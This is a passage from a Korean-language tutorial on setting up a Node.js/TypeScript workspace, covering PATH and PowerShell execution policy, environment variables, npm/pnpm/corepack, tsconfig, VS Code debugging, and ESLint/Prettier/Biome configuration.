# 영구화
echo 'export PATH="$HOME/.npm-global/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc # 지금 창에도 즉시 반영
which -a node 가 두 줄 이상 나오면 그것이 원인입니다.
원하는 것을 앞으로 옮기거나, 안 쓰는 쪽을 지우세요.
PowerShell 실행 정책 — npx 가 막히는 진짜 이유 🟢 기초
증상과 해결 한 줄
npx : 이 시스템에서 스크립트를 실행할 수 없으므로
C:\Users\사용자\AppData\Roaming\npm\npx.ps1 파일을
로드할 수 없습니다. 자세한 정보는 about_Execution_Policies
(https://go.microsoft.com/fwlink/?LinkID=135170)를 참조하십시오.
+ CategoryInfo : 보안 오류: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
# 원인 — PowerShell 이 기본적으로 .ps1 스크립트 실행을 막습니다.
# npm · npx · pnpm 은 전부 .ps1 래퍼를 씁니다.
# 현재 정책 확인
Get-ExecutionPolicy -List
# ★ 해결 (관리자 권한 불필요 · 이 한 줄이면 끝)
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned
# 확인
Get-ExecutionPolicy -Scope CurrentUser # RemoteSigned
| 정책 | 뜻 |
|---|---|
Restricted | 전부 차단 (기본값) |
RemoteSigned ★ | 내가 만든 것은 허용, 인터넷에서 받은 것은 서명 필요 |
Unrestricted | 거의 다 허용 — 권하지 않습니다 |
Bypass | 완전 무시 — CI 스크립트에서만 |
Get-ExecutionPolicy -List 에서
MachinePolicy 나 UserPolicy 가 Restricted 면 그룹 정책으로 강제된 것입니다.
이때는 npx.cmd 처럼 .cmd 확장자를 직접 쓰거나
Git Bash · WSL 을 쓰면 우회됩니다.
환경 변수를 코드에서 읽기 — process.env
// 무엇이든 문자열입니다. 숫자·불리언이 아닙니다 ★
console.log(process.env.PORT); // "3000" (문자열!)
console.log(process.env.NODE_ENV); // "development" 또는 undefined
const port = Number(process.env.PORT ?? 3000); // ★ 변환 + 기본값
const debug = process.env.DEBUG === "true"; // ★ 불리언은 이렇게
// 없으면 즉시 죽이기 — 운영에서 훨씬 안전합니다
function need(key) {
const v = process.env[key];
if (!v) throw new Error(`환경 변수 ${key} 가 없습니다`);
return v;
}
const dbUrl = need("DATABASE_URL");
# .env 파일 (프로젝트 루트)
PORT=3000
DATABASE_URL=postgres://localhost:5432/app
API_KEY=sk-abcdef
# ★ Node 20.6+ 부터 라이브러리 없이 읽습니다
node --env-file=.env src/index.js
# 여러 개 겹쳐 읽기 (뒤가 이깁니다)
node --env-file=.env --env-file=.env.local src/index.js
# 파일이 없어도 넘어가게
node --env-file-if-exists=.env.local src/index.js
# package.json 의 scripts 에
# "dev": "node --watch --env-file=.env src/index.js"
.env 는 반드시 .gitignore 에 넣으세요.
API 키가 깃허브에 올라가는 사고가 정말 자주 납니다.
대신 .env.example 에 키 이름만 값 없이 적어 커밋해서
팀원이 무엇을 채워야 하는지 알 수 있게 합니다.
where.exe node / which -a node 로 몇 개가 잡히는지 봅니다.
② 0개면 PATH 에 없는 것 → 경로를 추가.
③ 2개 이상이면 순서 문제 → 원하는 것을 앞으로.
④ 맞게 나오는데도 안 되면 터미널을 새로 열었는지 확인.
⑤ VS Code 안에서만 안 되면 VS Code 를 완전히 종료 후 재실행.
where.exe node / which -a node 가 거의 모든 진단의 시작이고,
윈도우에서 npx 가 막히면 Set-ExecutionPolicy -Scope CurrentUser RemoteSigned 한 줄로 끝납니다.
환경 변수는 --env-file 로 라이브러리 없이 읽습니다.패키지 관리자 — npm · pnpm · yarn · bun 무엇을 쓸까
넷 다 하는 일은 같습니다. package.json 을 읽어 라이브러리를 내려받고 node_modules 를 만드는 것. 차이는 얼마나 빠르고 · 디스크를 얼마나 먹고 · 얼마나 엄격한가입니다.
| npm | pnpm ★ | yarn (berry) | bun | |
|---|---|---|---|---|
| 설치 방법 | Node 에 기본 포함 | corepack enable pnpm |
corepack enable yarn |
별도 설치 |
| 속도 | 느림 (많이 개선됨) | 매우 빠름 | 빠름 | 가장 빠름 |
| 디스크 | 프로젝트마다 복사 | 전역 저장소 + 링크 | zip 캐시(PnP) | 전역 캐시 |
| lockfile | package-lock.json | pnpm-lock.yaml | yarn.lock | bun.lock |
| 엄격함 | 느슨 — 유령 의존성 허용 | 엄격 — 안 적은 건 못 씀 | 매우 엄격(PnP) | 느슨 |
| 모노레포 | workspaces | workspaces + 필터 강력 | workspaces | workspaces |
| 언제 고르나 | 혼자 · 작은 프로젝트 튜토리얼 그대로 따라갈 때 |
대부분의 실무 모노레포 · 여러 프로젝트 |
이미 yarn 을 쓰는 팀 | Bun 런타임을 쓸 때 |
corepack 으로 pnpm 켜기 — 설치가 아닙니다
# corepack 은 Node 에 이미 들어 있습니다. 켜기만 하면 됩니다.
corepack enable # npm · pnpm · yarn 대역을 PATH 에 심습니다
corepack enable pnpm
pnpm -v # 10.x.x
# ★ 진짜 좋은 점 — 프로젝트가 버전을 정합니다
cd my-app
corepack use pnpm@10 # package.json 에 기록 + lockfile 준비
{
"packageManager": "pnpm@10.15.0+sha512.abc123..."
}
// 팀원이 이 저장소에서 pnpm 을 치면
// corepack 이 정확히 이 버전을 받아 실행합니다.
// "너는 pnpm 9 라서 lockfile 이 다르네" 사고가 사라집니다 ★
npm i -g corepack 로 따로 깔거나
npm i -g pnpm 로 직접 설치하면 됩니다.
지금 Node 24 에서는 동봉되어 있으니 corepack enable 이면 충분합니다.
명령 대조표 — 외울 것은 이것뿐
| 하는 일 | npm | pnpm |
|---|---|---|
| 전부 설치 | npm i | pnpm i |
| 패키지 추가 | npm i axios | pnpm add axios |
| 개발용 추가 | npm i -D vitest | pnpm add -D vitest |
| 삭제 | npm rm axios | pnpm remove axios |
| 스크립트 실행 | npm run dev | pnpm dev (run 생략 가능) |
| 한 번만 실행 | npx vite | pnpm dlx vite |
| 로컬 bin 실행 | npx tsc | pnpm exec tsc |
| lock 그대로 설치 | npm ci ★ | pnpm i --frozen-lockfile ★ |
| 업데이트 확인 | npm outdated | pnpm outdated |
npm ci · pnpm i --frozen-lockfile 을 쓰세요.
일반 install 은 lockfile 을 고쳐 버릴 수 있어서
“내 PC 에선 되는데 CI 에선 안 되는” 상황을 만듭니다.
package.json 을 한 줄씩 — 각 항목이 하는 일 🟢 기초
실제로 쓰이는 필드만
{
"name": "my-app",
"version": "0.1.0",
"private": true, // ★ 실수로 npm publish 되는 것을 막습니다
"type": "module", // ★ import/export 문법 사용 선언
"scripts": {
"dev": "tsx watch src/index.ts",
"build": "tsc -p tsconfig.build.json",
"start": "node dist/index.js",
"test": "vitest run",
"lint": "eslint .",
"format": "prettier --write .",
"typecheck": "tsc --noEmit"
},
"dependencies": { // 운영에서도 필요한 것
"express": "^5.1.0"
},
"devDependencies": { // 개발할 때만 (빌드 결과에 안 들어감)
"typescript": "^5.9.0",
"tsx": "^4.20.0"
},
"engines": { "node": ">=24" },
"packageManager": "pnpm@10.15.0"
}
scripts 안에서는 node_modules/.bin 이 자동으로 PATH 에 붙습니다.
그래서 "lint": "eslint ." 처럼 경로 없이 써도 동작합니다.
터미널에서 직접 칠 때만 pnpm exec eslint . 이 필요합니다.
버전 기호 — ^ 와 ~ 의 차이
"express": "^5.1.0"
^ = 맨 왼쪽 0 이 아닌 자리를 고정
→ 5.1.0 이상 6.0.0 미만 (5.9.2 로 올라갈 수 있음) ★ 기본값
"express": "~5.1.0"
~ = 패치만 허용
→ 5.1.0 이상 5.2.0 미만
"express": "5.1.0"
정확히 그 버전만
"express": "*" 아무거나 — 절대 쓰지 마세요
"express": "next" 태그 지정
★ 0.x 버전은 규칙이 다릅니다
"^0.3.1" → 0.3.1 이상 0.4.0 미만 (마이너도 안 올림)
1.0 전 라이브러리는 마이너 업데이트에서도 깨지기 때문입니다
^ 때문에 매번 다른 버전이 깔리나요? — 아닙니다.
package-lock.json / pnpm-lock.yaml 이 정확한 버전을 못 박습니다.
그래서 lockfile 은 반드시 커밋하고, node_modules 는 절대 커밋하지 않습니다.
유령 의존성 — pnpm 이 잡아 주는 버그
// package.json 에는 express 만 적었는데
import express from "express";
import qs from "qs"; // ← express 가 끌고 온 것을 몰래 사용
// npm: 동작합니다 (평평한 node_modules 라 보입니다)
// pnpm: 즉시 실패 ★ Cannot find module 'qs'
// → express 가 qs 를 버리는 순간 운영에서 터질 폭탄을
// 개발 시점에 미리 잡아 줍니다
한 단계 더 — .npmrc · 사내 프록시 · 캐시 🟡 중급
.npmrc 는 세 곳에 있습니다
① 프로젝트 루트 ./.npmrc ← 팀 공통 설정. 커밋합니다
② 사용자 ~/.npmrc ← 내 토큰·미러. 커밋하지 않습니다 ★
③ 전역 $PREFIX/etc/npmrc ← 거의 안 씀
뒤로 갈수록 약합니다 — 프로젝트 설정이 이깁니다.
확인: npm config list
npm config get registry
# ./.npmrc — 팀 공통 (커밋)
engine-strict=true
save-exact=false
auto-install-peers=true
# 사내 미러를 쓸 때
registry=https://nexus.mycorp.com/repository/npm-group/
# 특정 스코프만 사내 저장소로
@mycorp:registry=https://nexus.mycorp.com/repository/npm-private/
# ~/.npmrc — 개인 (커밋 금지)
//nexus.mycorp.com/repository/npm-private/:_authToken=${NPM_TOKEN}
# 사내 프록시를 지나야 한다면
proxy=http://proxy.mycorp.com:8080
https-proxy=http://proxy.mycorp.com:8080
noproxy=localhost,127.0.0.1,.mycorp.com
./.npmrc 에 적고 커밋하는 사고가 매우 흔합니다.
토큰은 반드시 ~/.npmrc 에 두거나, 위처럼 ${NPM_TOKEN} 환경 변수 참조를 쓰세요.
npm 은 .npmrc 안의 ${...} 를 환경 변수로 치환해 줍니다.
캐시 — 어디에 쌓이고 어떻게 비우나
# 위치 확인
npm config get cache # 윈도우: %LocalAppData%\npm-cache
pnpm store path # ~/.local/share/pnpm/store
# 얼마나 쓰고 있나
pnpm store status
# 정리 (어디에서도 참조하지 않는 파일만 삭제 — 안전합니다)
pnpm store prune
npm cache verify
# 최후의 수단 (전부 삭제 · 다음 설치가 느려질 뿐 위험하지 않습니다)
npm cache clean --force
# ★ 오프라인에서 설치하기 (캐시만으로)
npm i --offline
pnpm i --offline
①
node_modules 삭제 → ② lockfile 삭제(정말 필요할 때만) →
③ pnpm store prune → ④ 다시 pnpm i.
lockfile 삭제는 마지막 수단입니다 — 버전이 통째로 바뀔 수 있습니다.
모노레포 한 눈에
# pnpm-workspace.yaml
packages:
- "apps/*"
- "packages/*"
pnpm --filter web add react # web 앱에만 추가
pnpm --filter web dev # web 앱만 실행
pnpm -r build # 전체 패키지 빌드
pnpm add -w -D typescript # 루트에 공통 개발 도구
corepack enable pnpm 한 줄이면 설치 끝이고,
packageManager 필드로 팀 전체 버전을 고정합니다.
lockfile 은 커밋 · node_modules 는 커밋 금지 — 이 원칙만은 어기지 마세요.TypeScript 설치와 첫 실행 — tsc · tsx · node
TypeScript 를 처음 깔면 가장 헷갈리는 것이 “그래서 어떻게 실행하지” 입니다. 길이 셋인데 하는 일이 서로 다릅니다. 이 구분만 잡으면 설정 파일도 저절로 이해됩니다.
0 에서 시작하는 TypeScript 프로젝트
mkdir ts-app && cd ts-app
corepack enable pnpm
pnpm init
pnpm pkg set type=module
# ★ 전역 설치하지 마세요. 프로젝트에 넣습니다
pnpm add -D typescript tsx @types/node
# tsconfig.json 생성
pnpm exec tsc --init
# 첫 파일
mkdir src
# src/index.ts 를 만들고 아래 코드를 넣습니다
pnpm exec tsx src/index.ts # 즉시 실행
pnpm exec tsx watch src/index.ts # 저장 시 자동 재시작
pnpm exec tsc --noEmit # 타입만 검사
pnpm exec tsc # dist/ 에 js 생성
// src/index.ts
interface User {
id: number;
name: string;
email?: string; // 있어도 되고 없어도 됨
}
function greet(user: User): string {
return `안녕하세요 ${user.name}님`;
}
const me: User = { id: 1, name: "김현우" };
console.log(greet(me));
// 일부러 틀려 보세요 — tsc --noEmit 만 잡아냅니다
// const bad: User = { id: "1", name: "김" };
// → Type 'string' is not assignable to type 'number'
scripts 에 묶어 두면 명령이 짧아집니다
{
"type": "module",
"scripts": {
"dev": "tsx watch src/index.ts",
"start": "node dist/index.js",
"build": "tsc",
"typecheck": "tsc --noEmit",
"clean": "rimraf dist"
},
"devDependencies": {
"typescript": "^5.9.0",
"tsx": "^4.20.0",
"@types/node": "^24.0.0"
}
}
pnpm dev # 개발
pnpm typecheck # 커밋 전 · CI 에서
pnpm build # 배포 전
pnpm start # 배포된 것 실행
@types/node 를 빼먹으면 process·__dirname·Buffer 에
“이름을 찾을 수 없습니다” 가 뜹니다. Node 프로젝트라면 거의 항상 필요합니다.
메이저 버전을 Node 와 맞추세요(@types/node@24).
ts-node 는 이제 tsx 로 대체됐습니다.
tsx 는 esbuild 기반이라 훨씬 빠르고 ESM 설정 지옥이 없습니다.
옛 자료에서 ts-node 가 보이면 거의 그대로 tsx 로 바꿔 읽으면 됩니다.
tsconfig.json — 실제로 중요한 여덟 줄 🟢 기초
Node 백엔드용 최소 설정
{
"compilerOptions": {
"target": "ES2023", // 어떤 문법까지 그대로 둘까
"module": "NodeNext", // Node 의 ESM/CJS 규칙을 따름
"moduleResolution": "NodeNext",// import 경로를 어떻게 찾을까
"lib": ["ES2023"], // 쓸 수 있는 내장 API 목록
"strict": true, // ★ 이것 하나가 TS 의 절반입니다
"noUncheckedIndexedAccess": true, // arr[0] 이 undefined 일 수 있음
"verbatimModuleSyntax": true, // import type 을 명시하게 강제
"outDir": "dist",
"rootDir": "src",
"sourceMap": true, // 디버거가 .ts 줄을 보여 줍니다
"skipLibCheck": true, // node_modules 타입은 검사 생략 (빠름)
"esModuleInterop": true
},
"include": ["src"],
"exclude": ["node_modules", "dist"]
}
strict: true 는 절대 끄지 마세요.
끄면 null·undefined 검사가 사라져서
“타입스크립트를 쓰는데도 Cannot read properties of undefined” 가 계속 납니다.
기존 코드가 너무 많아 부담되면 strict 를 켜고
"strictNullChecks": false 부터 하나씩 되돌리는 편이 낫습니다.
번들러(Vite·Next)용 설정은 다릅니다
{
"compilerOptions": {
"target": "ES2022",
"module": "ESNext",
"moduleResolution": "bundler", // ★ 확장자 없이 import 허용
"lib": ["ES2022", "DOM", "DOM.Iterable"],
"strict": true,
"noEmit": true, // ★ 빌드는 Vite 가 합니다
"jsx": "react-jsx", // React 를 쓸 때
"isolatedModules": true,
"moduleDetection": "force",
"paths": { "@/*": ["./src/*"] }, // import "@/utils" 처럼
"baseUrl": "."
},
"include": ["src"]
}
| 환경 | moduleResolution |
|---|---|
| Node 서버 (tsc 로 빌드) | NodeNext · import 에 .js 필수 |
| Vite · Next · 번들러 | bundler · 확장자 생략 |
| tsx 로만 실행 | 둘 다 가능 (bundler 가 편함) |
.ts 파일에서 ./util.js 라고 써야 하나요” —
NodeNext 는 컴파일 결과 기준으로 경로를 씁니다.
실행될 때는 util.js 가 있으니까요. 타입은 알아서 util.ts 를 찾아갑니다.
헷갈리면 번들러를 쓰거나 bundler 모드를 쓰면 이 문제가 사라집니다.
한 단계 더 — Node 24 의 타입 스트리핑 🟡 중급
도구 없이 .ts 를 실행하기
# Node 22.6 실험적 (--experimental-strip-types 필요)
# Node 22.18 / 24 기본 활성 ★ 플래그 없이 됩니다
node src/index.ts
# 무슨 일이 벌어지나
# : string 같은 타입 표기를 공백으로 지우고 실행합니다.
# 타입 검사는 하지 않습니다. 정말 "지우기"만 합니다.
# 지운 자리를 공백으로 채우므로 줄 번호가 그대로 맞습니다.
# 검사는 따로
pnpm exec tsc --noEmit
| 문법 | node 로 직접 실행 |
|---|---|
: string · interface · type | ✅ 됩니다 |
as · 제네릭 · satisfies | ✅ 됩니다 |
enum | ❌ 코드를 만들어 냄 |
namespace (값이 있는) | ❌ |
구 데코레이터 · parameter properties | ❌ |
다른 .ts 파일 import | ✅ Node 24 부터 |
"erasableSyntaxOnly": true 를 켜면 enum 같은 문법을
편집기가 즉시 빨간 줄로 잡아 줍니다. Node 로 직접 실행할 계획이라면 켜 두세요.
enum 대신 const OBJ = {...} as const 를 쓰면 됩니다.
그래도 tsx 를 쓰는 이유
tsx 가 더 나은 점
tsx watch— 저장 시 재시작이 자연스러움paths·tsconfig별칭을 그대로 해석- CJS 패키지 상호 운용이 매끄러움
- Node 20 이하에서도 동일하게 동작
node 직접 실행의 한계
- tsconfig 의
paths를 안 봄 - 일부 TS 문법 불가
- Node 버전에 따라 동작이 다름
타입 검사를 “빠뜨리지 않게” 하는 장치
# .github/workflows/ci.yml
- run: pnpm install --frozen-lockfile
- run: pnpm typecheck # ★ tsc --noEmit
- run: pnpm lint
- run: pnpm test
tsx 로만 돌리다 보면 타입 오류가 쌓인 채 몇 주가 지나가고,
배포 직전에 tsc 를 처음 돌렸다가 에러 수백 개를 봅니다.
CI 에 typecheck 를 첫날부터 넣어 두세요.
tsx watch, 검사는 tsc --noEmit, 배포 산출물은 tsc.
Node 24 는 .ts 를 직접 실행할 수 있지만 타입을 지울 뿐 검사하지 않습니다.
tsconfig 에서 진짜 중요한 것은 strict · module · moduleResolution 셋입니다.VS Code 완전 세팅 — 확장 · settings · 디버깅
편집기는 “예쁘게 보이는 도구”가 아니라 타입 오류를 즉시 알려 주고 저장할 때마다 코드를 정돈해 주는 장치입니다. 이 절만 따라 하면 남이 세팅해 준 회사 PC 와 같은 상태가 됩니다.
확장 — 꼭 깔 것과 취향인 것
| 확장 | 하는 일 |
|---|---|
| ESLint dbaeumer.vscode-eslint | 규칙 위반을 빨간 줄로 · 저장 시 자동 수정 ★ |
| Prettier esbenp.prettier-vscode | 코드 모양 통일 ★ |
| Error Lens usernamehw.errorlens | 오류 메시지를 줄 옆에 바로 표시 — 체감 효과가 가장 큼 ★ |
| Path Intellisense | import "./" 에서 파일 경로 자동완성 |
| Pretty TypeScript Errors | 긴 TS 오류를 읽기 좋게 정리 |
| Vue - Official Vue.volar | Vue 3 프로젝트라면 필수 |
| ES7+ React snippets | React 스니펫 (rafce 등) |
| Tailwind CSS IntelliSense | 클래스 이름 자동완성 · 색 미리보기 |
| GitLens | 줄마다 누가 언제 고쳤는지 |
| Code Spell Checker | 변수명 오타 잡기 (생각보다 유용) |
# 명령으로 한 번에 깔기
code --install-extension dbaeumer.vscode-eslint
code --install-extension esbenp.prettier-vscode
code --install-extension usernamehw.errorlens
code --install-extension christian-kohler.path-intellisense
code --install-extension yoavbls.pretty-ts-errors
# 지금 깔린 목록 뽑기 (새 PC 로 옮길 때)
code --list-extensions > extensions.txt
TSLint(폐기됨), Prettier ESLint(충돌 유발),
JavaScript (ES6) code snippets(중복 자동완성)는 오히려 방해가 됩니다.
확장은 적을수록 좋습니다 — 느려지고 서로 싸웁니다.
.vscode/settings.json — 프로젝트에 커밋
{
"editor.formatOnSave": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"editor.codeActionsOnSave": {
"source.fixAll.eslint": "explicit",
"source.organizeImports": "never"
},
"editor.tabSize": 2,
"editor.rulers": [100],
"files.eol": "\n",
"files.insertFinalNewline": true,
"files.trimTrailingWhitespace": true,
"typescript.tsdk": "node_modules/typescript/lib",
"typescript.enablePromptUseWorkspaceTsdk": true,
"typescript.preferences.importModuleSpecifier": "non-relative",
"typescript.updateImportsOnFileMove.enabled": "always",
"eslint.useFlatConfig": true,
"search.exclude": {
"**/node_modules": true,
"**/dist": true,
"**/pnpm-lock.yaml": true
}
}
source.organizeImports 는 "never" 를 권합니다.
ESLint 의 import 정렬 규칙과 동시에 켜면 저장할 때마다 두 도구가 서로 되돌립니다.
정렬은 한쪽에만 맡기세요.
.vscode/settings.json 은 커밋합니다.
팀 전체가 같은 포맷 규칙을 쓰게 되니까요.
반대로 색 테마·폰트 같은 개인 취향은 사용자 설정(Ctrl+Shift+P →
Preferences: Open User Settings (JSON))에 둡니다.
워크스페이스 TypeScript 버전 — 빨간 줄이 다를 때 🟢 기초
증상과 원인
pnpm typecheck 는 통과하는데 편집기에만 빨간 줄이 뜨거나, 그 반대 상황.
원인은 거의 항상 편집기가 자기 안에 들어 있는 TypeScript 를 쓰고 있어서입니다.
VS Code 는 자체 내장 TS 를 갖고 있고, 프로젝트는 node_modules 안의 TS 를 씁니다.
확인 · 전환 방법
① .ts 파일을 하나 엽니다
② Ctrl+Shift+P
③ "TypeScript: Select TypeScript Version" 입력
④ 선택지가 둘 나옵니다
Use VS Code's Version 5.x.x ← 내장
Use Workspace Version 5.9.x ← node_modules ★ 이것
⑤ 오른쪽 아래 상태 표시줄에 버전이 뜹니다
★ .vscode/settings.json 에
"typescript.tsdk": "node_modules/typescript/lib"
를 적어 두면 팀원 전부 자동으로 맞춰집니다
Ctrl+Shift+P → TypeScript: Restart TS Server.
node_modules 를 다시 설치한 직후나 브랜치를 갈아탄 뒤
“분명 있는 모듈을 없다고 하는” 현상이 여기서 대부분 해결됩니다.
.vscode/extensions.json — 팀에게 권하기
{
"recommendations": [
"dbaeumer.vscode-eslint",
"esbenp.prettier-vscode",
"usernamehw.errorlens",
"Vue.volar"
],
"unwantedRecommendations": [
"octref.vetur"
]
}
// 팀원이 이 저장소를 열면 VS Code 가
// "권장 확장을 설치할까요?" 라고 물어봅니다.
.editorconfig — 편집기를 안 가리는 최소 합의
root = true
[*]
charset = utf-8
end_of_line = lf
insert_final_newline = true
indent_style = space
indent_size = 2
trim_trailing_whitespace = true
[*.md]
trim_trailing_whitespace = false
end_of_line = lf 는 사실상 필수입니다.
안 그러면 파일 전체가 바뀐 것으로 보이는 diff 가 계속 생깁니다.
git config --global core.autocrlf input 도 같이 설정해 두세요.
한 단계 더 — launch.json 으로 진짜 디버깅 🟡 중급
.vscode/launch.json
{
"version": "0.2.0",
"configurations": [
{
"name": "Node: 현재 파일",
"type": "node",
"request": "launch",
"program": "${file}",
"runtimeArgs": ["--env-file=.env"],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"]
},
{
"name": "TS: tsx 로 서버 실행",
"type": "node",
"request": "launch",
"runtimeExecutable": "tsx",
"args": ["src/index.ts"],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**", "**/node_modules/**"]
},
{
"name": "이미 돌고 있는 프로세스에 붙기",
"type": "node",
"request": "attach",
"port": 9229,
"restart": true
}
]
}
skipFiles 를 꼭 넣으세요.
없으면 한 줄씩 실행할 때 Node 내부 코드와 라이브러리 안으로 끝없이 들어갑니다.
이것 하나로 디버깅 체감이 완전히 달라집니다.
디버거를 쓰는 최소 흐름
① 멈추고 싶은 줄 번호 왼쪽을 클릭 → 빨간 점(중단점)
② F5 로 실행 (또는 왼쪽 실행 아이콘 → 구성 선택)
③ 멈추면 왼쪽 패널에서 변수 값을 봅니다
④ 조작 키
F10 다음 줄로 (함수 안에는 안 들어감)
F11 함수 안으로 들어감
Shift+F11 함수 밖으로 나옴
F5 다음 중단점까지 진행
⑤ 하단 "디버그 콘솔" 에서 그 시점의 변수를 직접 계산해 볼 수 있습니다
★ 조건부 중단점 — 빨간 점 우클릭 → "조건부 중단점 편집"
i === 500 처럼 조건을 걸면 반복문 안에서도 정확히 잡힙니다
# 편집기 없이 터미널에서 붙이는 방법
node --inspect-brk src/index.js
# → chrome://inspect 또는 VS Code 의 "attach" 구성으로 접속
# 이미 돌고 있는 서버에 나중에 붙기 (운영에서는 주의)
node --inspect src/index.js
console.log 도 훌륭한 도구입니다.
다만 “이 시점에 값이 무엇인지”가 아니라 “왜 이 값이 됐는지”를 알아야 할 때는
디버거가 압도적으로 빠릅니다. 로그를 다섯 번 이상 찍어 봤다면
그때가 디버거를 켤 시점입니다.
.vscode/settings.json 과 extensions.json 을 커밋해 팀 전체를 같은 상태로 만들고,
워크스페이스 TS 버전을 node_modules 쪽으로 맞추세요.
이상하면 Restart TS Server 가 만능 처방입니다.린트 · 포맷 — ESLint 9 · Prettier · Biome
Prettier 는 “모양”을, ESLint 는 “실수”를 봅니다. 역할이 다른데 겹치게 설정해서 싸움을 붙이는 경우가 많습니다. 2026년 기준 설정 파일을 통째로 적어 두겠습니다.
역할 분담 — 이것만 지키면 안 싸웁니다
| Prettier | ESLint | |
|---|---|---|
| 보는 것 | 모양 | 실수 · 위험 |
| 예 | 들여쓰기 · 따옴표 · 줄 길이 · 세미콜론 | 안 쓰는 변수 · await 빠뜨림 · any 남용 |
| 토론 여지 | 없음 — 설정이 거의 없습니다 | 팀마다 다름 |
| 자동 수정 | 전부 | 일부만 (--fix) |
pnpm add -D eslint @eslint/js typescript-eslint prettier eslint-config-prettier globals
# eslint-config-prettier 의 역할 ★
# ESLint 의 "모양" 관련 규칙을 전부 꺼서
# Prettier 와 부딪치지 않게 합니다. 반드시 마지막에 놓습니다.
eslint-plugin-prettier 는 권하지 않습니다.
Prettier 를 ESLint 규칙으로 돌리는 방식인데, 느리고 포맷 차이가
전부 빨간 줄로 보여 진짜 오류가 묻힙니다.
둘을 따로 돌리고 eslint-config-prettier 로 충돌만 끄는 것이 현재 권장입니다.
eslint.config.js — flat config (ESLint 9)
// eslint.config.js — ★ .eslintrc 는 이제 안 씁니다
import js from "@eslint/js";
import tseslint from "typescript-eslint";
import prettier from "eslint-config-prettier";
import globals from "globals";
export default tseslint.config(
{ ignores: ["dist/**", "coverage/**", "*.config.js"] },
js.configs.recommended,
...tseslint.configs.recommendedTypeChecked,
{
languageOptions: {
globals: { ...globals.node },
parserOptions: {
projectService: true, // ★ tsconfig 자동 연결
tsconfigRootDir: import.meta.dirname,
},
},
rules: {
"@typescript-eslint/no-unused-vars": [
"warn", { argsIgnorePattern: "^_" }
],
"@typescript-eslint/no-floating-promises": "error", // ★ await 누락
"@typescript-eslint/no-explicit-any": "warn",
"no-console": ["warn", { allow: ["warn", "error"] }],
eqeqeq: ["error", "always"],
},
},
prettier, // ★ 반드시 맨 마지막
);
no-floating-promises 하나만으로도 도입할 값어치가 있습니다.
await 를 빠뜨린 비동기 호출은 조용히 실패하기 때문에
사람이 리뷰로 잡기 가장 어려운 버그입니다.
이 규칙은 recommendedTypeChecked 를 써야 동작합니다(타입 정보가 필요).
Prettier · husky · lint-staged — 설정 파일 전부 🟢 기초
.prettierrc · .prettierignore
// .prettierrc
{
"semi": true,
"singleQuote": false,
"printWidth": 100,
"tabWidth": 2,
"trailingComma": "all",
"arrowParens": "always",
"endOfLine": "lf",
"plugins": ["prettier-plugin-tailwindcss"]
}
# .prettierignore
node_modules
dist
coverage
pnpm-lock.yaml
*.min.js
pnpm exec prettier --write . # 전부 정리
pnpm exec prettier --check . # 검사만 (CI 용)
pnpm exec eslint . # 린트
pnpm exec eslint . --fix # 고칠 수 있는 것만 고침
printWidth 와 singleQuote 정도만 정하고 넘어가세요 —
“통일되어 있다”는 사실 자체가 어떤 값을 고르는지보다 중요합니다.
커밋 훅 — husky + lint-staged
pnpm add -D husky lint-staged
pnpm exec husky init # .husky/ 폴더와 pre-commit 생성
# .husky/pre-commit 의 내용을 아래 한 줄로
echo "pnpm exec lint-staged" > .husky/pre-commit
// package.json
{
"scripts": { "prepare": "husky" },
"lint-staged": {
"*.{ts,tsx,js,jsx}": [
"eslint --fix",
"prettier --write"
],
"*.{json,md,css,yml}": "prettier --write"
}
}
// "prepare" 는 pnpm install 후 자동 실행됩니다
// → 팀원이 저장소를 받으면 훅이 알아서 설치됩니다 ★
.husky/pre-commit 파일이 실제로 있는지,
② git config core.hooksPath 가 .husky 인지,
③ 맥·리눅스에서 실행 권한(chmod +x)이 있는지.
급할 때는 git commit --no-verify 로 건너뛸 수 있지만
습관이 되면 훅이 있으나 마나가 됩니다.
commitlint 를 commit-msg 훅에 붙입니다.
feat: · fix: 같은 형식을 강제하면
CHANGELOG 자동 생성과 자동 버전 올리기까지 이어집니다.
한 단계 더 — Biome 으로 한 방에 🟡 중급
ESLint + Prettier 를 하나로
pnpm add -D --save-exact @biomejs/biome
pnpm exec biome init # biome.json 생성
pnpm exec biome check . # 린트 + 포맷 검사
pnpm exec biome check --write . # 고치기
pnpm exec biome format --write .
pnpm exec biome lint .
# 기존 설정에서 옮겨오기
pnpm exec biome migrate eslint --write
pnpm exec biome migrate prettier --write
// biome.json
{
"$schema": "https://biomejs.dev/schemas/2.0.0/schema.json",
"files": { "includes": ["src/**"] },
"formatter": { "indentStyle": "space", "indentWidth": 2, "lineWidth": 100 },
"linter": {
"enabled": true,
"rules": { "recommended": true }
},
"assist": { "actions": { "source": { "organizeImports": "on" } } }
}
biomejs.biome 하나만 깔고
"editor.defaultFormatter": "biomejs.biome" 로 지정하면 됩니다.
ESLint·Prettier 확장은 꺼 두세요 — 켜 두면 서로 다시 싸웁니다.
Biome 을 쓸까 말까
Biome 이 좋은 경우
- 새로 시작하는 프로젝트
- 설정 파일 개수를 줄이고 싶다
- 린트가 느려서 아무도 안 돌린다 (Rust 라 수십 배 빠릅니다)
- 규칙을 많이 커스터마이즈하지 않는다
ESLint 를 유지할 경우
- 플러그인 생태계가 필요 (React Hooks · import · a11y · 사내 규칙)
- 타입 정보 기반 규칙이 중요 (no-floating-promises 등)
- 이미 팀이 잘 쓰고 있다
- 프레임워크 공식 설정이 ESLint 기준
eslint-config-prettier 대신
Biome 포맷 규칙과의 충돌만 관리하면 됩니다.
CI 에 넣는 최소 구성
{
"scripts": {
"lint": "eslint .",
"format:check": "prettier --check .",
"typecheck": "tsc --noEmit",
"verify": "pnpm lint && pnpm format:check && pnpm typecheck && pnpm test"
}
}
--fix 를 쓰지 마세요.
고쳐 놓고 커밋하지 않으면 다음 실행에서 또 같은 일이 반복됩니다.
CI 는 검사만 하고 실패시키는 역할이고, 고치는 것은 개발자 PC 의 몫입니다.
eslint-config-prettier 를 맨 뒤에 둡니다.
ESLint 9 은 eslint.config.js flat config 가 표준이고,
husky + lint-staged 로 커밋 때 바뀐 파일만 빠르게 검사합니다.
설정이 부담스럽다면 Biome 한 개로 대체할 수 있습니다.프런트엔드 시작 — Vite 로 Vue · React 프로젝트
